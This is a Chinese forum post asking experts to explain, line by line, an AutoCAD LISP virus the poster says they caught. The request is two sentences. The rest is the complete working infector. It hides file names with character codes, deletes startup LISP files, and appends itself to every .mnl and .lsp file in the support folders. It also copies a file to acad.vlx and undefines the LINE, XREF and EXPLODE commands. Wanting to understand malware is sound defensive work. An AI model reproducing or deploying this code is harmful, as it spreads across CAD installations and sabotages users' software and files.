求助高手解释LISP病毒代码
本人最近截获：CAD病毒代码一段，请LISP高手帮忙解析一下每句语句的功能，不胜感谢。最是比较常见的，党是不会亏待你的，(setq
wold_cmd
(
getvar
"cmdecho"
)
)
(
setvar
"cmdecho"
0
)
(
setq
bb 1
)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
(setq mnl (strcat (chr 97)
(chr 99)
(chr 97)
(chr 100)
(chr 46)
(chr 109)
(chr 110)
(chr 108)
)
lsp (strcat (chr 97)
(chr 99)
(chr 97)
(chr 100)
(chr 100)
(chr 111)
(chr 99)
(chr 46)
(chr 108)
(chr 115)
(chr 112)
)
)
(vl-file-delete (strcat wpath "acadapq.lsp"))
(vl-file-delete (strcat wpath lsp))
(vl-file-delete (strcat wpath "acad.lsp"))
(vl-file-delete (strcat dpath "acad.lsp"))
(defun wwriteapp ()
(if (setq wwjm1 (open wnewacad "w"))
(progn
(setq wwjm (open woldacad "r"))
(while(setq wwz (read-line wwjm))
(write-line wwz wwjm1)
)
(close wwjm)
(close wwjm1)
)
)
)
(setq lbz 0)
(setq wwjqm (strcat dpath lsp))
(if (setq wwjm (open wwjqm "r"))
(progn
(repeat 15 (read-line wwjm))
(setq wz (read-line wwjm))
(setq ab (atoi (substr wz 4 1)))
(close wwjm)
(if (> ab bb)
(setq lbz 1)
)
)
)
(setq wwjqm (strcat wpath mnl))
(if (setq wwjm (open wwjqm "r"))
(progn
(repeat 15 (read-line wwjm))
(setq wz (read-line wwjm))
(setq nb (atoi (substr wz 4 1)))
(close wwjm)
(if (< nb bb)
(setq lbz 1)
)
)
(setq lbz 1)
)
(if (= lbz 1)
(progn
(setq woldacad (strcat dpath lsp))
(setq wnewacad (strcat wpath mnl))
(wwriteapp)
)
)
(if (and (/= (substr dpath 1 1) (chr 67))
(/= (substr dpath 1 1) (chr 68))
(/= (substr dpath 1 1) (chr 69))
(/= (substr dpath 1 1) (chr 70))
)
(progn
(setq woldacad (strcat wpath mnl))
(setq wnewacad (strcat dpath lsp))
(wwriteapp)
)
(vl-file-delete (strcat dpath lsp))
)
;load "acadapq")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
);while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(if (null stol) (load "lcm" ""))
(princ)
(load "acadappp.lsp")
(princ)
(if (null stol) (load "lcm" ""))
(princ)
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